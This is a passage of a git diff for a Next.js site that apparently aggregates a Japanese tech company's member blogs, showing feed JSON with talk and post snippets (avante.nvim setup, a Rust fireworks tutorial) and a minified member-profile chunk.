LT\rhttps://findy.connpass.com/event/273197/\r\r『ポストモーテムはじめました』というタイトルで登壇しました。 - じゃあ、おうちで学べる \rhttps://syu-m-5151.hatenablog.com/entry/2023/02/09/113316","isoDate":"2023-02-09T05:00:00.000Z","dateMiliSeconds":1675918800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"セキュア・バイ・デザインの鳴くところ","link":"https://speakerdeck.com/nwiizo/sekiyuabaidezainnoming-kutokoro","contentSnippet":"セキュア・バイ・デザインの鳴くところ\r安全なソフトウェアを全体から考えるみるで候\r\rOWASP Fukuoka Meeting #9\rhttps://owasp-kyushu.connpass.com/event/266585/\r\r副読ブログ\rhttps://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","isoDate":"2022-12-07T05:00:00.000Z","dateMiliSeconds":1670389200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"cobra は便利になっている","link":"https://speakerdeck.com/nwiizo/cobra-habian-li-ninatuteiru","contentSnippet":"2022年3-shake SRE Tech Talk #4\rhttps://3-shake.connpass.com/event/253028/","isoDate":"2022-08-04T04:00:00.000Z","dateMiliSeconds":1659585600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ProtocolBuffers/gRPCを安全に書き進めるためのエトセトラ","link":"https://speakerdeck.com/nwiizo/protocol-buffers-grpc-wo-an-quan-nishu-kijin-merutamefalseetosetora","contentSnippet":"OWASP Fukuoka Meeting #6 \rhttps://owasp-kyushu.connpass.com/event/244388/ \r#owaspfukuoka","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Observability Conference 2022 に登壇しました","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/raba-jp.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/raba-jp.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/raba-jp.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/raba-jp.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/sakama.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/sakama.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/sakama.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/sakama.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/satoken.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/satoken.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/satoken.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/satoken.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/seno.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/seno.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/seno.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/seno.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/skikkh.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/skikkh.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/skikkh.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/skikkh.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/sosan01.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/sosan01.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/sosan01.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/sosan01.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/stakamura.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/stakamura.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/stakamura.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/stakamura.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/tayakun.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/tayakun.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/tayakun.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/tayakun.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/tez.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/tez.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/tez.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/tez.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/toVersus.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/toVersus.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/toVersus.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/toVersus.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/toshikish.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/toshikish.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/toshikish.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/toshikish.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/tozastation.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/tozastation.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/tozastation.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/tozastation.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/unvavo.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/unvavo.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/unvavo.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/unvavo.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/ysakurai.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/ysakurai.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/ysakurai.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/ysakurai.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/yteraoka.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/yteraoka.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/yteraoka.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/yteraoka.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/yuu0w0yuu.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/yuu0w0yuu.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/yuu0w0yuu.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/yuu0w0yuu.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/yyamada.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/yyamada.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/yyamada.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/yyamada.json diff --git a/_next/static/chunks/983-092b9eda4d700a84.js b/_next/static/chunks/983-092b9eda4d700a84.js new file mode 100644 index 0000000000..9e846c48fb --- /dev/null +++ b/_next/static/chunks/983-092b9eda4d700a84.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[983],{1807:function(e,t,o){o.d(t,{T:function(){return a}});let a=[{id:"yteraoka",name:"yteraoka",role:"SRE",bio:"ojisan",avatarSrc:"/avatars/yteraoka.jpeg",sources:["https://blog.1q77.com/index.xml","https://qiita.com/yteraoka/feed","https://medium.com/feed/@yteraoka","https://zenn.dev/yteraoka/feed"],includeUrlRegex:"",twitterUsername:"yteraoka",githubUsername:"yteraoka",websiteUrl:"https://blog.1q77.com/"},{id:"tozastation",name:"tozastation",role:"SRE",bio:"tarako_chan",avatarSrc:"/avatars/tozastation.jpg",sources:["https://qiita.com/tozastation/feed","https://tozastation.hashnode.dev/rss.xml","https://zenn.dev/tozastation/feed"],includeUrlRegex:"",twitterUsername:"tozastation",githubUsername:"tozastation",websiteUrl:"https://github.com/tozastation"},{id:"kyohmizu",name:"kyohmizu",role:"SRE",bio:"mizumoto",avatarSrc:"/avatars/kyohmizu.png",sources:["https://kyohmizu.hatenablog.com/feed","https://qiita.com/kyohmizu/feed"],includeUrlRegex:"",twitterUsername:"kyohmizu",githubUsername:"kyohmizu",websiteUrl:"https://profile.kyohmizu.com/"},{id:"nwiizo",name:"nwiizo",role:"Software Developer",bio:"The Passionate Programmer",avatarSrc:"/avatars/nwiizo.jpeg",sources:["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed","https://speakerdeck.com/nwiizo.rss"],includeUrlRegex:"",twitterUsername:"nwiizo",githubUsername:"nwiizo",websiteUrl:"https://nwiizo.github.io/"},{id:"skikkh",name:"skikkh",role:"SRE",bio:"skikkh",avatarSrc:"/avatars/skikkh.jpeg",sources:["https://qiita.com/skikkh/feed"],includeUrlRegex:"",twitterUsername:"skikkh",githubUsername:"skikkh",websiteUrl:""},{id:"toshikish",name:"toshikish",role:"SRE",bio:"Toshiki Shimomura",avatarSrc:"/avatars/toshikish.png",sources:["https://toshikish.hateblo.jp/feed","https://zenn.dev/toshikish/feed","https://qiita.com/toshikish/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"toshikish",websiteUrl:""},{id:"Sreake",name:"Sreake",role:"",bio:"This Is The Sreake Section Blog.",avatarSrc:"/avatars/sreake.png",sources:["https://sreake.com/feed/"],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"SreakeJ",githubUsername:"",websiteUrl:"https://sreake.com"},{id:"Reckoner",name:"Reckoner",role:"",bio:"This Is The Reckoner Section Blog.",avatarSrc:"/avatars/reckoner.png",sources:[],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"reckoner_japan",githubUsername:"",websiteUrl:"https://reckoner.io/"},{id:"tez",name:"Takuya Tezuka",role:"JB",bio:"tez",avatarSrc:"/avatars/tezuka.jpeg",sources:["https://qiita.com/TT_Private/feed","https://speakerdeck.com/takuyatezuka.rss"],includeUrlRegex:"qiita.com/TT_Private",twitterUsername:"tt0603",githubUsername:"taku-tez",websiteUrl:"https://www.wantedly.com/id/takuya_tezuka"},{id:"sosan01",name:"Soichiro Tsuchida",role:"SRE",bio:"sosan",avatarSrc:"/avatars/sosan01.png",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"sosan01",websiteUrl:""},{id:"atsuya0",name:"Atsuya Tsukada",role:"SRE",bio:"human",avatarSrc:"/avatars/atsuya0.jpg",sources:["https://zenn.dev/tayusa/feed","https://qiita.com/atsuya0/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"atsuya0",websiteUrl:"https://github.com/atsuya0"},{id:"masasuzu",name:"SUZUKI, Masashi",role:"SRE",bio:"yasetai",avatarSrc:"/avatars/masasuzu.png",sources:["https://blog.masasuzu.net/feed","https://speakerdeck.com/masasuzu.rss"],includeUrlRegex:"",twitterUsername:"masasuz",githubUsername:"masasuzu",websiteUrl:"https://masasuzu.net"},{id:"kiyos",name:"Kyohei Saito",role:"SRE",bio:"haraheri",avatarSrc:"/avatars/kiyos.jpeg",sources:["https://zenn.dev/kyohei_saito/feed"],includeUrlRegex:"",twitterUsername:"kiyo_12_07",githubUsername:"kiyo-s",websiteUrl:""},{id:"mos914",name:"Yu Kaneko",role:"SRE",bio:"koke",avatarSrc:"/avatars/mos914.png",sources:["https://qiita.com/dirtymosschan/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"mos914",websiteUrl:""},{id:"unvavo",name:"nobu",role:"SRE",bio:"nobu",avatarSrc:"/avatars/nobu.png",sources:[],includeUrlRegex:"",twitterUsername:"unvavo",githubUsername:"unvavo",websiteUrl:""},{id:"hiroki-hasegawa",name:"長谷川 広樹",role:"なんらかのエンジニア",bio:"顔画像は著作権フリーですのでどうぞ",avatarSrc:"/avatars/hirokihasegawa.png",sources:["https://hiroki-hasegawa.hatenablog.jp/feed","https://speakerdeck.com/hiroki_hasegawa.rss"],includeUrlRegex:"",twitterUsername:"Hiroki__IT",githubUsername:"hiroki-it",websiteUrl:"https://hiroki-it.github.io/tech-notebook/"},{id:"kaisato",name:"Kai Sato",role:"SRE",bio:"domo",avatarSrc:"/avatars/kaisato.png",sources:[],includeUrlRegex:"",twitterUsername:"KAI21441756",githubUsername:"kaitexio",websiteUrl:""},{id:"ysakurai",name:"Yusuke Sakurai",role:"SRE",bio:"ysakurai",avatarSrc:"/avatars/ysakurai.jpg",sources:["https://qiita.com/ys1/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"saku3",websiteUrl:""},{id:"tayakun",name:"Soichiro Taya",role:"SRE",bio:"tayakun",avatarSrc:"/avatars/tayakun.png",sources:["https://qiita.com/tayakun/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"tayatamn",websiteUrl:""},{id:"SatohJohn",name:"SatohJohn",role:"Software Developer",bio:"SatohJohn",avatarSrc:"/avatars/satohjohn.png",sources:["https://qiita.com/satohjohn/feed","https://zenn.dev/satohjohn/feed"],includeUrlRegex:"",twitterUsername:"satohjohn",githubUsername:"satohjohn",websiteUrl:""},{id:"bayobayo0324",name:"bayobayo0324",role:"back/front/app Engineer",bio:"osake daisuki",avatarSrc:"/avatars/bayobayo0324.jpeg",sources:["https://qiita.com/bayobayo0324/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"bayobayo0324",websiteUrl:""},{id:"myamamoto",name:"myamamoto",role:"SRE",bio:"human",avatarSrc:"/avatars/myamamoto.jpeg",sources:["https://zenn.dev/ureuzy/feed"],includeUrlRegex:"",twitterUsername:"ureuzy",githubUsername:"ureuzy",websiteUrl:""},{id:"seno",name:"seno",role:"DBRE",bio:"seno",avatarSrc:"/avatars/seno.jpeg",sources:["https://zenn.dev/nedoko_dok0dko/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"senohirona",websiteUrl:""},{id:"sakama",name:"sakama",role:"SRE",bio:"homo sapiens",avatarSrc:"/avatars/sakama.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"junichiro-sakama",websiteUrl:""},{id:"stakamura",name:"Shohei Takamura",role:"SRE",bio:"SRE",avatarSrc:"/avatars/stakamura.jpg",sources:["https://zenn.dev/hakushou41/feed"],includeUrlRegex:"",twitterUsername:"hakushou41",githubUsername:"hakushou41",websiteUrl:""},{id:"toVersus",name:"Tsubasa Nagasawa",role:"SRE",bio:"lazy programmer",avatarSrc:"/avatars/toVersus.png",sources:["https://qiita.com/toVersus/feed","https://zenn.dev/toversus/feed"],includeUrlRegex:"",twitterUsername:"toversus26",githubUsername:"toVersus",websiteUrl:""},{id:"raba-jp",name:"Hiroki Sakuraba",role:"Software Developer",bio:"meow",avatarSrc:"/avatars/raba-jp.jpg",sources:["https://zenn.dev/raba_jp/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"raba-jp",websiteUrl:""},{id:"ixsakra",name:"Ryosuke Sakurai",role:"SRE",bio:"ganbarumasu 'w'",avatarSrc:"/avatars/ixsakra.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"nnaka2992",name:"NAKADATE Naoki",role:"DBRE",bio:"what on the earth is Database?",avatarSrc:"/avatars/nnaka2992.jpg",sources:["https://nnaka2992.hatenablog.com/feed","https://zenn.dev/nnaka2992/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:"https://nnaka2992.hatenablog.com/"},{id:"satoken",name:"satoken",role:"SRE",bio:"",avatarSrc:"/avatars/satoken.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"bells17",name:"bells17",role:"Software Engineer",bio:"Software Engineer",avatarSrc:"/avatars/bells17.jpeg",sources:["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17","https://speakerdeck.com/bells17.rss"],includeUrlRegex:"",twitterUsername:"bells17_",githubUsername:"bells17",websiteUrl:"https://bells17.io/"},{id:"hide-1",name:"Shuichi Inoue",role:"long-term internship student",bio:"I want to become a strong engineer :)",avatarSrc:"/avatars/hide-1.jpg",sources:["https://sreake.com/blog/config-connectortest/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt4/feed","https://sreake.com/blog/chatgpt-slack-integration/feed"],includeUrlRegex:"",twitterUsername:"19MU50",githubUsername:"hide-1",websiteUrl:""},{id:"yuu0w0yuu",name:"Yutaro Shirayama",role:"SRE",bio:"( ˘ω˘ )",avatarSrc:"/avatars/shirayama.jpg",sources:["https://zenn.dev/yuu0w0yuu/feed"],includeUrlRegex:"",twitterUsername:"yuu0w0yuu",githubUsername:"yuu0w0yuu",websiteUrl:""},{id:"gawingowin",name:"Araki Shogo",role:"long-term internship student",bio:"born 2 be engineer",avatarSrc:"/avatars/araki-icon.jpg",sources:[],includeUrlRegex:"",twitterUsername:"GawinGowin",githubUsername:"GawinGowin",websiteUrl:""},{id:"nomadblacky",name:"Takumi Kadowaki",role:"Software Engineer @ Reckoner",bio:"Scala / Observability",avatarSrc:"/avatars/nomadblacky.jpg",sources:["https://zenn.dev/nomadblacky/feed","https://speakerdeck.com/nomadblacky.rss"],includeUrlRegex:"",twitterUsername:"nomadblacky",githubUsername:"NomadBlacky",websiteUrl:""},{id:"kobuchi",name:"Shu Kobuchi",role:"Software Developer",bio:"mammalian",avatarSrc:"/avatars/kobuchi.jpeg",sources:["https://shu-kob.hateblo.jp/feed","https://speakerdeck.com/shukob.rss"],includeUrlRegex:"",twitterUsername:"shu_kob",githubUsername:"shu-kob",websiteUrl:""},{id:"kojake_300",name:"Yuki Iwasaki",role:"SRE",bio:"Splatoon",avatarSrc:"/avatars/yuki_iwasaki.png",sources:["https://qiita.com/kojake_300/feed","https://zenn.dev/kojake_300/feed","https://speakerdeck.com/kojake_300.rss"],includeUrlRegex:"",twitterUsername:"kojake_300",githubUsername:"",websiteUrl:""},{id:"kurita",name:"Kurita Keigo",role:"long-term internship student",bio:"I want to enginner the reliablity of the site",avatarSrc:"/avatars/kurita.jpg",sources:["https://kechigon.hatenablog.com/feed"],includeUrlRegex:"",twitterUsername:"kechigongon",githubUsername:"kechigon",websiteUrl:"https://www.wantedly.com/id/keigo_kurita_e"},{id:"kaita-nakamura",name:"Kaita Nakamura",role:"SRE",bio:"kaita",avatarSrc:"/avatars/kaitanakamura.jpg",sources:["https://zenn.dev/z63d/feed"],includeUrlRegex:"",twitterUsername:"z63d_",githubUsername:"z63d",websiteUrl:""},{id:"komiyama5380",name:"MASARU Komiyama",role:"PMO",bio:"SRE!!!",avatarSrc:"/avatars/komiyama5380.jpg",sources:["https://zenn.dev/komiyama/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"komiyama5380",websiteUrl:""},{id:"moz-sec",name:"Kobayashi Shun",role:"long-term internship student",bio:"I am a graduate student in Kyoto",avatarSrc:"/avatars/kobayashi.png",sources:["https://moz-security.hatenablog.com/feed","https://zenn.dev/moz_sec/feed","https://speakerdeck.com/moz_sec_.rss"],includeUrlRegex:"",twitterUsername:"moz_sec_",githubUsername:"moz-sec",websiteUrl:"https://moz-sec.com/"},{id:"melanmeg",name:"Naoya Yamamoto",role:"SRE",bio:"konpeko~",avatarSrc:"/avatars/melanmeg.png",sources:["https://zenn.dev/melanmeg/feed","https://speakerdeck.com/melanmeg.rss"],includeUrlRegex:"",twitterUsername:"melanmeg",githubUsername:"melanmeg",websiteUrl:"https://lit.link/melanmeg"},{id:"atusy",name:"Atsushi Yasumoto",role:"Software Developer",bio:"loves programming",avatarSrc:"/avatars/atusy.jpg",sources:["https://blog.atusy.net/index.xml"],includeUrlRegex:"",twitterUsername:"Atsushi776",githubUsername:"atusy",websiteUrl:"https://blog.atusy.net/"},{id:"yyamada",name:"Yunosuke Yamada",avatarSrc:"/avatars/yyamada.jpg",role:"Full Stack Engineer",bio:"筋トレ / LLM / Webアプリケーション",sources:["https://zenn.dev/kimitsu/feed"],githubUsername:"YunosukeY",twitterUsername:"east_k1mitsu",websiteUrl:"https://linktr.ee/kimitsu"},{id:"k-nagase",name:"Kohei Nagase",avatarSrc:"/avatars/koheinagase.jpg",role:"SRE",bio:"YANIKASU",sources:["https://zenn.dev/k_nagase/feed"],githubUsername:"k-ngs",twitterUsername:"koh_naga",websiteUrl:""},{id:"iota",name:"Itaru Ota",avatarSrc:"/avatars/iota.jpg",role:"Full Stack Engineer",bio:"A.R.E.",sources:["https://zenn.dev/iorandd/feed"],githubUsername:"Ota1022",twitterUsername:"iorandd",websiteUrl:"https://ota1022.github.io/"}].sort((e,t)=>e.id{let{path:t,title:o,description:r,ogImageUrl:s,noindex:c,removeSiteNameFromTitle:l}=e,u="".concat(n.v.siteRoot).concat(t||"");return(0,a.jsxs)(i(),{children:[(0,a.jsx)("title",{children:l?o:"".concat(o," | ").concat(n.v.siteMeta.title)}),(0,a.jsx)("meta",{property:"og:title",content:o}),(0,a.jsx)("meta",{property:"og:url",content:u}),(0,a.jsx)("meta",{name:"twitter:card",content:"summary_large_image"}),(0,a.jsx)("meta",{property:"og:site",content:n.v.siteMeta.title}),(0,a.jsx)("meta",{property:"og:image",content:s||"".concat(n.v.siteRoot,"/og.png")}),!!r&&(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)("meta",{name:"description",content:r}),(0,a.jsx)("meta",{property:"og:description",content:r})]}),t&&(0,a.jsx)("link",{rel:"canonical",href:u}),c&&(0,a.jsx)("meta",{name:"robots",content:"noindex"})]})}},518:function(e,t,o){o.d(t,{ci:function(){return i},gO:function(){return n},gb:function(){return s},n4:function(){return r}});var a=o(1807);function r(e){return a.T.find(t=>t.id===e)}function i(e){let t=new URL(e);return(null==t?void 0:t.hostname)||"blog"}function n(e){return"https://www.google.com/s2/favicons?domain=".concat(e)}function s(e){return"/members/".concat(encodeURIComponent(e))}o(8928)},8928:function(e){e.exports=JSON.parse('[{"title":"NeovimをCursorのように進化させる - yetone/avante.nvim の導入","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/07/220406","contentSnippet":"「もはやCopilotなしでは開発できない」Cursorが体験として革新的すぎる」Clineこそ俺達が求めていたものだ!」とにかく新世代のAIエディターが最高!」 はじめに開発者のタイムラインを開けば、そんな投稿で溢れかえっています。確かに、AIによる開発支援は革新的で、プログラミングの未来を感じさせるものです。特に最近では、単なるコード補完を超えて、より多機能なAIアシスタントとしての役割を担うツールが増えてきています。実は、愛用のNeovimでもこうした最新のAI機能を導入できるんです。しかも、使い慣れたキーバインドやプラグインはそのまま。今回はavante.nvimというプラグインを使って、NeovimをAIパワード開発環境へと進化させる方法をご紹介します。github.comこのプラグインは、私たちvimmerにとって既に身近な存在であるcopilot.luaのような補完機能を超えて、より包括的なAI支援を実現します。コードの理解、リファクタリング、そして対話的なアシスタント機能まで、新世代のAIエディターが持つ機能をNeovimで実現できるのです。これまでのvimmerは、copilot.luaのようなシンプルで効率的なコード補完ツールを活用してきました。しかし、新世代のAIエディターは、コードの解析、リファクタリングの提案、そしてより高度なコンテキスト理解を備えています。この進化に対して、私たちvimmerはどのように向き合うべきでしょうか?でも、待ってください。私たち Vimmer はどうすれば...? 長年磨き上げてきたNeovimを捨てて、新しいエディターに移行しなければいけないのでしょうか?いいえ、Neovimはもっと強くなれます。Neovimの最大の魅力は、その圧倒的なカスタマイズ性。それは単なるIDE(統合開発環境)ではなく、PDE(Personal Development Environment:個人開発環境)とも呼べる存在です。まるで自分だけの剣を鍛え上げていくように、エディターと共に成長していける。そんな独特の魅力がNeovimにはあります。私たちは常にNeovimを進化させ、新しい可能性を追求してきました。copilot.luaがその一例です。そして今、avante.nvimによって、さらなる進化の時が来ています。Neovim 以外の話はこちらです。laiso.hatenablog.comavante.nvim とはavante.nvimは、Cursor AI IDEの機能を模倣することを目的として開発されたNeovimプラグインです。AI駆動のコード提案機能を提供し、その提案を直接ソースファイルに適用できる機能を備えています。上記のカテゴリーでいうとコーディングエージェントに近いものになります。デモ動画こういう経験がサクッと得られるのでよいです。 https://t.co/x7S08l06v9 pic.twitter.com/X4mvE2c2H7— nwiizo (@nwiizo) 2025年1月7日 subを追加する例です。 https://t.co/x7S08l06v9 pic.twitter.com/EyjDkdzP9c— nwiizo (@nwiizo) 2025年1月7日 Note: GitHub上にデモ動画がありますが、実際の動作の様子を簡単に説明させていただきます:avante.nvimを使用すると、画面右側にAIアシスタントのサイドバーが表示され、現在開いているコードについて対話形式で質問や提案を行うことができます。コードの変更提案は差分形式で表示され、ワンクリックで適用することができます。まさにCursor AI IDEのような操作感を、Neovim上で実現しています。実際の動作については、GitHubのリポジトリでも確認することができます。特徴的な機能AIによるコードアシスタント: 現在のコードファイルについてAIに質問し、インテリジェントな提案を受けることができますワンクリック適用: AIの提案をシンプルなコマンドで即座にソースコードに反映できます他の生成AIとの連携: デフォルトのClaudeに加え、ChatGPTやGitHub Copilotを活用したコード提案が可能ですセットアップ方法lazy.nvimを使用した場合の設定例を紹介します。avante.nvimはデフォルトではCursorのように高度なAI機能を利用するように設定されていますが、他にもChatGPTやAzureなども指定できますが今回はより手軽に利用できるGitHub Copilotをプロバイダーとして設定します。これにより、Copilotのライセンスさえあれば、追加のAPIキーの設定なしでAI支援機能を利用することができます。以下が具体的な設定例です。{ \\"yetone/avante.nvim\\", event = \\"VeryLazy\\", lazy = false, version = false, opts = { provider = \\"copilot\\", auto_suggestions_provider = \\"copilot\\", -- 動作設定 behaviour = { auto_suggestions = false, auto_set_highlight_group = true, auto_set_keymaps = true, auto_apply_diff_after_generation = false, support_paste_from_clipboard = false, minimize_diff = true, }, -- ウィンドウ設定 windows = { position = \\"right\\", -- サイドバーの位置 wrap = true, -- テキストの折り返し width = 30, -- サイドバーの幅 -- その他の詳細設定は省略 }, }, -- 依存関係の設定 dependencies = { -- 必須の依存関係 \\"stevearc/dressing.nvim\\", \\"nvim-lua/plenary.nvim\\", \\"MunifTanjim/nui.nvim\\", -- オプションの依存関係 \\"hrsh7th/nvim-cmp\\", \\"nvim-tree/nvim-web-devicons\\", \\"zbirenbaum/copilot.lua\\", -- その他の拡張機能 }}私の設定はこちらです。github.com主要なキーマッピングデフォルトで以下のキーマッピングが利用可能です。主にこちらから利用していきます。aa: サイドバーの表示ar: サイドバーの更新af: サイドバーのフォーカス切り替えae: 選択したブロックの編集他ブログでのavante.nvimの紹介zenn.devまとめ開発者の間で「AIエディターこそが主流」という声が広がっていますが、Vimmerは愛用のNeovimを手放す必要はありません。avante.nvimの導入により、Neovimの使い慣れた操作性を維持したまま、最新のAI支援機能を活用することが可能です。特筆すべき点として、GitHub Copilotをプロバイダーとして使用することで、追加のAPIキー設定なしで高度な機能を利用できます。また、洗練されたサイドバーUIにより自然な開発ワークフローを実現し、aaなどのシンプルなキーマッピングで直感的な操作を可能にします。Neovimの最大の魅力である圧倒的なカスタマイズ性を活かしながら、このプラグインを通じてAIパワード開発環境へと進化させることができます。プラグインは現在も活発に開発が継続されており、今後さらなる機能追加が期待できます。PDEとしてのNeovimの魅力を保ちながら、最新のAI支援機能を活用したいVimmerにぜひお勧めのプラグインです。最後に一言。「おい、お前、それは本当にvimmerか?」という声が聞こえてきそうです。しかし、私たちvimmerは常に進化を続けています。新しい技術を取り入れながらも、Vimの哲学と向き合い続けることもまた、vimmerの在り方の一つなのではないでしょうか。","isoDate":"2025-01-07T13:04:06.000Z","dateMiliSeconds":1736255046000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustで花火アニメーションと新年メッセージを作ろう","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/04/120812","contentSnippet":"はじめに私がRustという言語と再び出会ったのは、暮れも押し詰まった頃のことだった。シェアハウスの六畳一間の部屋で、誰かの足音の気配だけを感じながら、画面に向かっていた。シェアハウスの共用キッチンからは時折、誰かの料理する音が漏れ聞こえてくるが、年末だというのに妙に静かだった。メモリ安全性という言葉に惹かれたわけでも、高パフォーマンスに心を奪われたわけでもない。ただ、この年の瀬に、誰にも見せることのない花火を打ち上げたかっただけなのだ。深夜のターミナル画面に、デジタルの花を咲かせれば、少しは華やかな年越しになるかもしれない。そんな打算的な期待を胸に、私はコードを書き始めた。年末最後の実装でもバグを出してしまい、『来年もきっと、たくさんの失敗をして恥ずかしいコードを書くことになるだろうな』と考えていました。https://t.co/34hgesMGQu pic.twitter.com/k7f7GyqLoT— nwiizo (@nwiizo) 2025年1月2日 準備まずは、以下の外部クレートをインストールします。chrono: 日付と時刻を扱うためのクレートcolored: ターミナル出力に色をつけるためのクレートrand: 乱数を生成するためのクレートCargo.tomlに以下の行を追加してください。[dependencies]rand = \\"0.8\\"colored = \\"2.0\\"chrono = \\"0.4\\"構造体と列挙型の詳細Fireworkとその周辺の構造体struct Firework { x: f64, // x座標 y: f64, // y座標 velocity: f64, // 上昇速度 particles: Vec, // 爆発後のパーティクル exploded: bool, // 爆発したかどうか color: Color, // 花火の色 sparkles: 